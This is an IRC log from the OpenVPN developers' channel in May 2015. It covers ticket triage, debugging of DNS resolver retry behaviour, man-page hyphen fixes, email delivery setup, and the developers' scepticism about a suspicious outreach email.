sure of that. For 2.4, which has the new compression framework - it might be fixed 14:48 <@mattock2> cron2: I can have a look at #233, too difficult for me to focus on this late 14:48 <@cron2> mattock2: well, not tonight - this is something to test "during daytime" 14:52 <@syzzer> I'm look at #225 now, and I think the fix makes sense. Just have to verify how it behaves wrt relative paths and if we need to do more checking. 14:53 <@mattock2> syzzer: can you do the checking? 14:53 <@mattock2> =assign to you 14:53 <@syzzer> yes, that's fine 14:54 <@mattock2> great! 14:54 <@cron2> trac is stupid, you can't do "victim^Wvolunteer" there 14:54 <@mattock2> as for #373: I believe I've sent a patch to fix the man-page 14:55 <@mattock2> I'll verify that 14:55 <@cron2> haven't seen anything, but we should still stop it from crashing 14:55 <@mattock2> agreed 14:56 <@mattock2> I wonder if we should create a user account called "volunteer" and start assigning tickets to him 14:56 <@mattock2> and create a query that lists all tickets assigned to a volunteer, so that real volunteers can hav a look 14:57 <@mattock2> owner/assigned to <empty> does not distinguish between "none of us can/will fix this" and "we have not reviewed this ticket" 14:57 <@cron2> this would be solving a problem that we truly do not have... 14:57 <@cron2> "an army of volunteer searching for work!" 14:58 <@mattock2> are they not available or simply don't know how to contribute? 14:58 <@cron2> but I think if we can assign milestones on everything one of us has analyzed, this already helps 14:58 <@cron2> dunno 14:58 <@mattock2> yeah 14:59 <@mattock2> some way to list all "we could use some help with this" tickets would be nice 14:59 <@mattock2> that can wait a bit though 14:59 <@cron2> well, maybe volunteer is quite a good idea, actually :) (but I'm afraid it will provide a lazy escape...) 15:00 <@mattock2> that is one problem we don't have (lack of lazy escapes) :D 15:01 <@cron2> ok, let's quit the trac topic - we've made some progress, which is good, but dazo has a point that deserves attention 15:01 <@mattock2> which point? 15:02 <@cron2> last on the agenda 15:02 <@mattock2> (assigned the dash thingy, #512, to myself) 15:02 <@cron2> \o/ (but since we now know how to proceed, this is slightly easier ;-) ) 15:03 <@dazo> the one regarding the user input revamp_ 15:03 <@syzzer> yes 15:03 <@cron2> dazo: what, where? 15:03 <@syzzer> does that need http://thread.gmane.org/gmane.network.openvpn.devel/9232 15:04 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 15:04 <@dazo> yeah 15:04 <@syzzer> does that need discussion, or just review/ 15:04 <@dazo> mostly review ... but Im open for discussion on the approach 15:05 <@dazo> there are a few things which needs to be improved in the patches (some comments which got included by mistake - debugging code and such) 15:06 <@dazo> (doxygen comments should be added as well) 15:08 <@syzzer> quite a bit of code... 15:08 <@syzzer> so, will you rebase, update and resend? 15:09 <@dazo> I can do that ... if everyone is okay with this approach ... Id like to fix issues which is obvious before sending again, though ... if someone spot stuff 15:10 <@dazo> patch 1/4 is the most important one, which the other patches takes advantage of 15:10 <@mattock2> any objections to the basic approahc? 15:10 <@mattock2> approach 15:11 <@cron2> we discussed this in munich and I think the approach is sound, but did not do a proper review yet 15:11 <@mattock2> ok, good 15:11 <@mattock2> so dazo can provide an updated patchset 15:12 <@dazo> okay, Ill rebase and clean up the most obvious pieces and provide some doc-comments too 15:13 <@syzzer> yes, approach looks good. and 1/4 is actually less then it looks at first sight, because some code is just moved around 15:13 <@mattock2> only a few 2.3.7 tickets are/were left: #523 has a patch from cron2 that is lacking ACK 15:14 <@mattock2> #521 needs testing and a fix 15:14 <@cron2> oh, indeed 15:14 * cron2 was quite busy last week :) 15:15 <@mattock2> are we done for today? 15:15 <@mattock2> I think everything is more or less covered 15:16 * cron2 is totally doen 15:16 <@syzzer> cron2: does your patch for #523 fix both issues you describe in the ticket? 15:16 <@cron2> done 15:16 <@cron2> syzzer: it will fix the res_init()-not-found part 15:16 <@mattock2> one final question: next meeting in two weeks? 15:16 <@cron2> works for me 15:16 <@mattock2> ok 15:16 <@mattock2> I'll finish the summary tomorrow morning 15:17 <@syzzer> yep, two weeks is good 15:17 <@mattock2> bye guys! got to hit the sack 15:17 <@syzzer> 'night! 15:17 <@cron2> syzzer: I'm not sure I understand the while(true) loop inside openvpn_getaddrinfo() - maybe we should move the res_init() part isnide 15:17 <@cron2> mattock1,mattock2, mattock3: night :) 15:18 <@mattock1> lol 15:18 <@mattock1> I believe there are only 2 15:18 <@syzzer> nope, there 15:18 <@syzzer> there's also mattock 15:18 <@mattock2> ah, so many mattocks 15:18 <@mattock2> two bad they can't really work as hard as 3 15:19 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 15:20 <@cron2> syzzer: oh, indeed. res_init() needs to move inside the while(true) loop 15:21 <@syzzer> cron2: exactly, that's what I thought (... honestly, I don't understand the slightest bit of what is happening in that code ...) 15:22 * cron2 summons a plaisthos for help (in the ticket) 15:22 <@cron2> I do understand the code, sort of, but only because I reviewed plaisthos' socket.c refactoring - but He Understands 15:23 <@cron2> so there's actually 3 patches involved - "find res_init() and always use it", "move it in 2.3" and "move it in git master" (I assume the code looks different there, but haven't checked) 15:23 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 265 seconds] 15:24 <@cron2> anyway, need to go to bed now as well - long day tomorrow (fly to riyadh via rome... leave home at 10 am, arrive in hotel at ~11 pm, if customs is quick) 15:24 <@cron2> else if (streq (p[0], "resolv-retry") && p[1]) 15:24 <@cron2> if (streq (p[1], "infinite")) 15:24 <@cron2> options->resolve_retry_seconds = RESOLV_RETRY_INFINITE; 15:24 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 15:24 <@cron2> * Number of seconds that "resolv-retry infinite" 15:24 <@cron2> #define RESOLV_RETRY_INFINITE 1000000000 15:26 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 265 seconds] 15:26 <@cron2> (and that's actually the default setting... now I wonder why it ever terminates if the host just does not exist...) 15:26 <@cron2> meh, scared him away 15:27 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 15:27 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:28 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 15:28 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 15:29 <@cron2> oh, and of course 2.3 and 2.4 differ here... 15:30 <@cron2> 2.4 actually seems to do the right thing - "if resolving fails, just retry the complete connection logic" 15:30 <@cron2> while 2.3 loops around getaddrinfo() until --resolv-retry expires, and then retries "the outer loop" 15:32 <@cron2> or "something else interferes" 15:36 * cron2 needs to sleep, otherwise this is actually fairly easy to test... 15:48 <@syzzer> ah, well, good night then ;) 15:48 <@syzzer> I'm calling it a day too 15:57 <@plaisthos> cron2: hm both version only do rest_init in the place, right? 15:58 <@cron2> plaisthos: right, but master does not seem to stick in openvpn_getaddrinfo(), at least not if I call it with a non-existing host 15:59 <@cron2> it might actually call "something else"... 15:59 <@cron2> but anyway, we only call res_init() at the start of openvpn_getaddrinfo() today, and #523 is about not sticking to broken servers (in resolv.conf) that get fixed while we're looping (and failing) 16:00 <@plaisthos> yeah 16:00 <@plaisthos> the getaddrinfo fnction differ more that I hoped 16:02 <@plaisthos> but from the logic they are identical 16:03 <@plaisthos> they should behave the same with a non existent host ... 16:03 <@plaisthos> /should/ 16:06 <@cron2> I did not run a very sophisticated yet - took a 2.3 and master binary, ran it with non-existant host, with and without --resolv-retry 20, and looked at the differing output... 16:07 <@cron2> need to look into it when I actually have some brains :) 16:07 <@plaisthos> cron2: do you still have the outputs? 16:08 <@cron2> some parts 16:11 <@cron2> pasting 16:13 <@cron2> http://fpaste.org/218356/07739911/ 16:14 <@cron2> single "remote $host 1194 udp" in x.ovpn 16:14 <@cron2> anyway, need sleep now - thanks for looking 16:23 <@plaisthos> hm 16:27 <@plaisthos> I think "Mon May 4 23:12:16 2015 Could not determine IPv4/IPv6 protocol 16:27 <@plaisthos> makes the difference 16:28 <@plaisthos> that causes a sigusr1, soft resetting keeping openvpn in the loop 16:29 <@plaisthos> and in 2.3, no --resolv-retry it is a hard sigint 16:29 <@plaisthos> I am not sure why it stops at all though 16:38 <@plaisthos> 2.3, with --resolv-retry 10 behaves like expected 16:40 <@plaisthos> master, with the same config, default resolv-retry look like resolv-retry 10 16:40 <@plaisthos> if (sock->resolve_retry_seconds == RESOLV_RETRY_INFINITE) 16:40 <@plaisthos> { 16:40 <@plaisthos> if (phase == 2) 16:40 <@plaisthos> flags |= (GETADDR_TRY_ONCE | GETADDR_FATAL); 16:40 <@plaisthos> is the reason it stops in 2.3 16:40 <@plaisthos> in 2.4 we don't reach the code anymore from a first glance 16:44 <@plaisthos> anyway, time for bed for me too 17:13 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 18:59 -!- dazo is now known as dazo_afk 19:27 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Quit: Leaving] --- Day changed Tue May 05 2015 00:46 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:46 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:42 <@cron2> syzzer: whee! feedback on #480 02:05 <@syzzer> nice! 02:18 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 244 seconds] 02:20 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 03:46 <@mattock1> fyi: I'm testing Amazon SES on community... it seems trivial enough 03:46 <@mattock1> for Trac only 03:51 <@vpnHelper> RSS Update - tickets: #548: Amazon SES test ticket <https://community.openvpn.net/openvpn/ticket/548> 04:08 <@cron2> what is "SES"? 04:30 <@mattock1> Amazon SES = Amazon Simple Email Service 04:31 <@mattock1> Amazon handles all the gory details of email delivery 04:31 <@mattock1> SES also removed the need for reverse DNS records for IPv6 04:31 <@mattock1> or so I've led myself to believe 04:31 <@mattock1> "tickets we need help with": https://community.openvpn.net/openvpn/report/20 04:31 <@vpnHelper> Title: Tickets we need help with – OpenVPN Community (at community.openvpn.net) 04:32 <@mattock1> add keyword "volunteer" to tickets which, well, we need help with 04:36 <@mattock1> sent email to Jan abour #93 and the man-page project 04:36 <@mattock1> -> lunch 06:38 <@mattock1> I'll send a new dash patch soonish 06:38 <@mattock1> takes a while to go through all the offending entries 07:13 <@mattock1> almost all double-dash options have been wrong, e.g. "\-\-tun-mtu" instead of "\-\-tun\-mtu" 07:13 <@mattock1> so, if you copy-and paste that somewhere you will end up with "minus minus tun dash mtu" instead of "minus minus tun minus mtu" 07:14 <@mattock1> except that this is such a widely encountered issue that pretty much everyone has patched the display part of man to convert hyphens into minus signs afaics 07:15 <@mattock1> so the man-page has been "horribly broken" for years and there have been near-zero complaints 07:21 -!- dazo_afk is now known as dazo 07:56 <@dazo> mattock1: with A-SES ... beware of proper SPF rules too 07:58 <@cron2> mattock1: thanks for explaining and for taking up the manpage 07:58 * cron2 sits in rome just now and will now move to plain toward riayad... *wave* 07:59 <@dazo> have fun! 07:59 <@mattock1> cron2: I'll be sending a patch in a few mins 07:59 <@mattock1> dazo: I'll have a look what Amazon has to say about that 08:00 <@dazo> mattock1: I guess they have an 'include' you need to add ... just be sure you're not hitting the hard-limit of 10 DNS lookups for SPF checks 08:32 <@vpnHelper> RSS Update - tickets: #549: Use vfork() instead of fork() where possible <https://community.openvpn.net/openvpn/ticket/549> 08:46 <@mattock1> dazo: it seems our DNS has some TXT records with SPF/SES stuff in it 08:46 <@mattock1> I asked others whether they're supposed to work and be up-to-date 08:46 <@mattock1> I suspect yes 08:56 <@dazo> mattock1: the sender domain is openvpn.net? 08:59 <@mattock1> yes it should be 09:00 <@mattock1> it is 10:37 <@dazo> from what I can see, it looks good 10:54 <@plaisthos> syzzer: sorry for duplicate ack, I really need to figure out if you can force Thunderbird to use a specific email for mailing lists 10:55 <@syzzer> heh, I don't mind. Does a double-ack get into git twice as fast? ;) 10:56 <@plaisthos> cron only one of the ACKs :( 10:57 <@plaisthos> btw. Connections fails with SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure is the title of the FAQ 10:57 <@plaisthos> not the most intiuative naming 10:57 <@plaisthos> error 10:59 <@plaisthos> i hate my thunderbird 11:15 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 11:17 <@syzzer> plaisthos: not the "no shared cipher" ? 11:18 <@syzzer> I already have another commit in master that should give a more descriptive error message for 'no shared cipher' 14:07 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 255 seconds] 14:26 <@dazo> plaisthos: I use the "correct identity" add-on in thunderbird ... once configured, it works fairly well 15:21 -!- dazo is now known as dazo_afk 16:16 <@plaisthos> dazo_afk: will check that out 16:19 <@plaisthos> syzzer: nope 16:19 <@plaisthos> in the log of the user it is: 16:19 <@plaisthos> 2015-03-01 20:39:27 TLS: Initial packet from [AF_INET]7X.2XX.XXX.XX:YYYY, sid=9ea2df5e 526bfd6a 16:19 <@plaisthos> 2015-03-01 20:39:27 OpenSSL: error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure 16:23 <@plaisthos> syzzer: looking at the code you only report the error on the server 16:24 <@plaisthos> n if (err == ERR_PACK(ERR_LIB_SSL,SSL_F_SSL3_GET_CLIENT_HELLO, 16:24 <@plaisthos> SSL_R_NO_SHARED_CIPHER)) 16:24 <@plaisthos> and the client gets a SSL23_GET_SERVER_HELLO 16:30 <@cron2> no merging until friday... stuck in poor-internet land 23:57 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 23:58 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 23:58 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Wed May 06 2015 00:55 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:55 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:24 <@syzzer> plaisthos: oh indeed. I'll add one for the client side too. 05:24 -!- dazo_afk is now known as dazo 06:57 <@vpnHelper> RSS Update - gitrepo: polarssl: remove code duplication in key_state_write_plaintext{, _const}() <https://github.com/OpenVPN/openvpn/commit/23b6ba6378bf3a3f5ceb828c8a4dd7cc38947d07> || Add note about file permissions and --crl-verify to manpage. <https://github.com/OpenVPN/openvpn/commit/d55be0fb8091ff03af1319a27f68401d31ce8571> || Remove size limit for files inlined in config <https://github.com/OpenVPN/openvpn/commit/e473b7c4ce41a 10:46 <@vpnHelper> RSS Update - tickets: #550: crl-verify not recognized in server config, but accepted as command line. <https://community.openvpn.net/openvpn/ticket/550> 13:16 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection] 13:17 -!- Guest86751 [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 14:01 -!- Guest86751 is now known as s7r 15:16 -!- dazo is now known as dazo_afk 16:08 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 17:20 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Quit: Leaving] --- Day changed Thu May 07 2015 00:46 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:46 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:07 <@mattock1> cron2: did you get email from Trac regarding ticket #160? 03:07 <@mattock1> I tested if using a username in the CC field works... 03:20 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 03:22 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 03:23 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 05:33 -!- dazo_afk is now known as dazo 05:59 <@cron2> mattock: no email access right now, check later 07:43 <@ecrist> cron2: did you fix #521? 14:21 -!- dazo is now known as dazo_afk 14:37 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 17:06 <@vpnHelper> RSS Update - tickets: #551: --ipchange: openvpn does not pass parameters correctly <https://community.openvpn.net/openvpn/ticket/551> 19:27 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Quit: ZNC - http://znc.in] 20:30 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Remote host closed the connection] 20:31 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel --- Day changed Fri May 08 2015 00:57 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 01:15 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:15 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:07 <@cron2> ecrist: why are you asking? has one of my alter egoes posted or merged a patch? 02:49 <@plaisthos> "We Wanted to let you know that your app(s) listed below statically link against a version of OpenSSL that has multiple security vulnerabilities for users. Please migrate your app(s) to an updated version of OpenSSL within 60 days of this notification. Beginning 7/7/15, Google Play will block publishing of any new apps and updates that use older, unsupported versions of OpenSSL (see below for details)." 02:49 <@plaisthos> WTF?! 02:54 <@plaisthos> "Recently we sent you a notification that one or more of your apps should be upgraded to more recent version of OpenSSL, due to security vulnerabilities. The notification was sent in error, and we thank you for previously making the necessary changes to your app." :) 03:40 <@cron2> hrhr :) 04:08 -!- dazo_afk is now known as dazo 10:31 <@vpnHelper> RSS Update - gitrepo: polarssl: remove code duplication in key_state_write_plaintext{, _const}() <https://github.com/OpenVPN/openvpn/commit/23b6ba6378bf3a3f5ceb828c8a4dd7cc38947d07> || Add note about file permissions and --crl-verify to manpage. <https://github.com/OpenVPN/openvpn/commit/d55be0fb8091ff03af1319a27f68401d31ce8571> || Remove size limit for files inlined in config <https://github.com/OpenVPN/openvpn/commit/e473b7c4ce41a 11:08 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 12:52 < esde> that is weird. why would they make a security-related announcement like that then retract it? 12:54 * cron2 assumes that their "check ssl version" script mis-identified some apps, so all is good, and the warning was sent for no good reason to plaisthos 12:56 < esde> Oh i see, the policy is the same. But his app is likely not using the outdated versions of openssl like they mentioned initially? 12:59 <@cron2> that is how I interpret things, yes 13:00 < esde> thank you :) 14:07 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 14:08 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:08 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 14:12 <@plaisthos> esde: yes, indeed. Also my app indeed links statically against OpenSSL 14:39 <+krzee> yay new display 14:40 <+krzee> applecare paid off, new retina display for my 2013 mbp 14:41 <@plaisthos> krzee: gratulations 14:41 <@plaisthos> kind of 14:42 <@plaisthos> I am happy for your broken device being repaired by an overprived guarantee that is included in other brands by default 14:44 <+krzee> it was a gift 14:44 <+krzee> ;] 14:44 <+krzee> but ya, this is my last apple laptop gift or not 14:44 * esde swaps krzee's display cable with VGA 14:45 <+krzee> first gen mbp was badass, to me they have gotten worse over time, and im not a fan of the newer os either, still using 10.8 here 14:46 <+krzee> 10.8.5 even 14:46 <@plaisthos> first gen mbp wasn't that bad badass 14:46 <@plaisthos> i had a 2nd gen mbp which improved on a lot of issues of the the 1st gen mbp and it was still not good :p 14:46 <+krzee> 17", removed the dvd drive and added a second hd, had it tripple booting osx/linux/fbsd 14:47 <+krzee> i loved it 14:47 <+krzee> now theres no ethernet port, less usb, no 17", no room for a second drive, and retina+thunderbolt are not well supported in other os 14:48 <+krzee> mostly in the name of making them smaller 14:48 <@plaisthos> I had a 15" powerbook before that and a core i7 15" after taht 14:48 <+krzee> i dont want smaller, thats why i was buying a mbp not an air 14:48 <@plaisthos> and the c2d mbp was the worst of them 14:49 <+krzee> hows it a "pro" and i cant plug in ethernet without an adapter? 14:49 <@plaisthos> mine still has one ;) 14:49 <+krzee> what primary os do you use on your laptop? 14:49 <@plaisthos> os x 14:50 <+krzee> ahh i see still got the apple 14:50 <+krzee> im thinking ill use linux on my next laptop 14:50 <@plaisthos> nah 14:50 <+krzee> which osx version? 14:50 <@plaisthos> 10.10 14:51 <@plaisthos> do not upgrade 14:51 <+krzee> hahah was about to ask if you liked it 14:51 <@plaisthos> I have two identical macbook (work/home) and works fine on my home mabook and is broken on my work notebook 15:12 <@dazo> that's probably the right box to have broken ... so you spend work hours fixing it :-P 15:13 <+krzee> lol 15:13 <+krzee> "osx 10.10, getting you paid" 15:31 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 15:46 <@cron2> 10.10.2 works nicely on my ancient MBA 15:47 <@cron2> but buying apple hardware to put other OSes on it is just stupid move 15:51 <@cron2> (especially things like windows that still do not really understand high-dpi...) 15:52 <@cron2> ((or hot-plug PCIe = thunderbolt...)) 16:09 <@cron2> and unfortunately, modern laptop hardware doesn't suit itself very well for running linux... nasty Broadcom hardware, nasty ACPI/UEFI bugs, funny touch pads that mostly get in the way, ... I've had my share of that :( 16:12 <@dazo> eww ... my automatic spam blocker (which adds iptables rules) manage to block sourceforge.net mailers :/ (time to update whitelists) 18:55 -!- dazo is now known as dazo_afk 22:43 -!- Eagle_Erwin [~Erwin@erwinb.xs4all.nl] has quit [Ping timeout: 256 seconds] --- Day changed Sat May 09 2015 01:31 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:31 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:04 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 07:27 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 08:54 <@vpnHelper> RSS Update - gitrepo: Improve --tls-cipher and --show-tls man page description <https://github.com/OpenVPN/openvpn/commit/5f66f907cfc57b89110c08e50c7aab228e090911> 09:06 <@vpnHelper> RSS Update - gitrepo: polarssl: disable 1/n-1 record splitting <https://github.com/OpenVPN/openvpn/commit/d0f26fb524744a63615a1bf4e7ddcefcd102b328> 09:27 <@plaisthos> It still feelds weird to say OpenVPN supports arm mbed tls 09:35 <@cron2> why did they rename it anyway? 13:24 <@cron2> ah, found it... 13:32 <+krzee> http://www.securityweek.com/polarssl-rebranded-arm-mbed-tls-after-acquisition 13:32 <@vpnHelper> Title: PolarSSL Rebranded as "ARM mbed TLS" After Acquisition | SecurityWeek.Com (at www.securityweek.com) 13:34 <+krzee> i liked "polarssl" better 15:51 <@cron2> yeah, #550 closed \o/ 17:21 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Quit: Leaving] --- Day changed Sun May 10 2015 12:35 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 13:39 -!- Guest86751 [~s7r@openvpn/user/s7r] has joined #openvpn-devel 13:39 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection] 13:43 -!- Guest86751 [~s7r@openvpn/user/s7r] has quit [Ping timeout: 272 seconds] 14:58 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:58 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 17:34 -!- esde [~esde@openvpn/user/esde] has quit [Max SendQ exceeded] 17:35 -!- esde [~esde@openvpn/user/esde] has joined #openvpn-devel 17:38 -!- esde [~esde@openvpn/user/esde] has quit [Max SendQ exceeded] 19:43 -!- esde [~esde@openvpn/user/esde] has joined #openvpn-devel --- Day changed Mon May 11 2015 01:46 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:46 -!- mode/#openvpn-devel [+o mattock2] by ChanServ 03:05 -!- esde [~esde@openvpn/user/esde] has quit [Ping timeout: 272 seconds] 03:07 -!- esde [~esde@openvpn/user/esde] has joined #openvpn-devel 03:49 <@cron2> ... off to Amsterdam... 05:19 <@mattock2> second dash patch away. 05:20 -!- dazo_afk is now known as dazo 06:34 * plaisthos is completly lost in this arcance man-page stuff 07:05 <@mattock2> plaisthos: in the end it turned out to be quite straightforward 09:36 <@cron2> mattock2: this is for master now? 10:05 * cron2 throws http://cryptech.is/ around (plus http://cryptech.is/funding) 10:05 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 10:05 <@vpnHelper> Title: The CrypTech Project (at cryptech.is) 10:05 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 10:42 <@mattock2> cron2: yes, as it says in the commit message :D 11:38 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 13:26 -!- pekster [~rewt@openvpn/community/developer/pekster] has quit [Ping timeout: 256 seconds] 13:27 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 13:27 -!- mode/#openvpn-devel [+o pekster] by ChanServ 13:41 <@dazo> cron2: that's an interesting url ... 17:46 -!- raidz [~raidz@openvpn/corp/admin/andrew] has left #openvpn-devel [] 17:54 -!- dazo is now known as dazo_afk --- Day changed Tue May 12 2015 02:35 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Read error: Connection reset by peer] 02:42 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 248 seconds] 02:45 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 02:59 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 02:59 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 03:02 -!- plai [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 03:02 -!- mode/#openvpn-devel [+o plai] by ChanServ 03:03 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Disconnected by services] 03:03 -!- plai is now known as plaisthos 03:18 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Quit: foo!] 03:18 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 03:18 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 03:42 <@plaisthos> I will answer that stragne mail ... 04:36 <@vpnHelper> RSS Update - tickets: #552: check that ip forwarding is enabled <https://community.openvpn.net/openvpn/ticket/552> 04:43 -!- dazo_afk is now known as dazo 07:25 <@dazo> mattock: I think we need a more clever sentence in this contact-us page: https://openvpn.net/index.php/contact-us-sp-989947891.html 07:25 <@vpnHelper> Title: Contact Us (at openvpn.net) 07:27 <@dazo> Something like: "To report a security vulnerability in the community edition of OpenVPN, ..... This is for security analysts who evaluate the OpenVPN software. This address is *NOT* a support address. Password or financial questions should not be sent to this address." 07:29 <@dazo> And I honestly thing it is needed with a user-support@openvpn.net .... which you can tackle internally ... people choose security@ now because they feel that's more relevant than info@ or sales@ 07:29 <@dazo> s/thing/think/ 08:28 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 265 seconds] 10:01 <@plaisthos> anyone else got an email "Hello Arne from the OSTIF!"? 10:04 <@plaisthos> www.ostif.org 10:04 <@plaisthos> Did you know that we banned James from contributing? 10:04 <@plaisthos> Fun Fact - The OpenVPN team no longer allows any Americans to code for the project. 10:43 <@vpnHelper> RSS Update - tickets: #553: Password validation broken in openvpn client <https://community.openvpn.net/openvpn/ticket/553> 11:07 <@syzzer> :') 11:26 <@cron2> plaisthos: huh, when did we do that? 11:26 <@cron2> (or "where") 11:50 <@dazo> plaisthos: that host seems to have been taken down ... only get a 404 now 11:54 < esde> https://webcache.googleusercontent.com/search?q=cache:130Fa3FhfDAJ:ostif.org 11:54 <@vpnHelper> Title: OSTIF.org | Open Source Technology Improvement Fund (at webcache.googleusercontent.com) 11:55 < esde> Ahh I see it now.. 11:57 <@dazo> http://ostif.org/ostif-supported-projects/ 11:57 <@vpnHelper> Title: OSTIF Supported Projects | OSTIF.org (at ostif.org) 11:59 <@dazo> looks really fishy to me ... 12:04 < esde> The more you click around the page, the fishier it gets. Missing About the Staff, Top OSTIF Donors, and the Donate button on the main page is defunct. 12:08 <@dazo> yeah 12:09 <@dazo> and the domain uses whoisguard 12:09 < esde> and this http://ostif.org/wp-content/uploads/2015/05/OSTIF.jpg looks weird, don't recognize the name at the bottom and the only results really are for some guy at LegalZoom 12:10 < esde> which would make even less sense given the doc was generated at cyberdriveillinois.com 12:13 <@dazo> nah ... if these guys ends up paying some of us to do some openvpn work, great! ... but until then, I'm going to ignore this :) 13:15 -!- dazo is now known as dazo_afk 13:17 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 13:49 -!- s7r_t [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 13:51 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Ping timeout: 265 seconds] 13:51 -!- s7r_t is now known as s7r 13:56 <+krzee> https://www.facebook.com/pages/Derek-Zimmer-Consulting/184409731587271?sk=info&tab=page_info 13:56 <@vpnHelper> Title: Welcome to Facebook (at www.facebook.com) 13:56 <+krzee> i wonder if thats the same guy 13:58 <+krzee> derek zimmer runs this: https://vikingvpn.com/ 13:58 <@vpnHelper> Title: VikingVPN | The Fastest, Most Secure, Anonymous, Premium VPN Service Provider (at vikingvpn.com) 13:59 < esde> Dunno why he'd just be the Registered Agent, though. That's not really a leadership role :/ 14:00 <+krzee> well the guy at the bottom as incorporator runs a service that lets people automate the generation of legal forms, and that form was autogenerated 14:01 < esde> Right, he represents LegalZoom 14:02 <+krzee> https://www.linkedin.com/pub/derek-zimmer/41/4a4/216 15:39 <@cron2> interesting... just heard someone complain about VikingVPN to me today 16:05 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Remote host closed the connection] 18:17 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel --- Day changed Wed May 13 2015 00:27 -!- Netsplit *.net <-> *.split quits: n13l 02:46 -!- dazo_afk is now known as dazo 04:18 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Remote host closed the connection] 04:19 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 05:26 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 256 seconds] 05:26 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 05:26 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Ping timeout: 265 seconds] 05:27 -!- 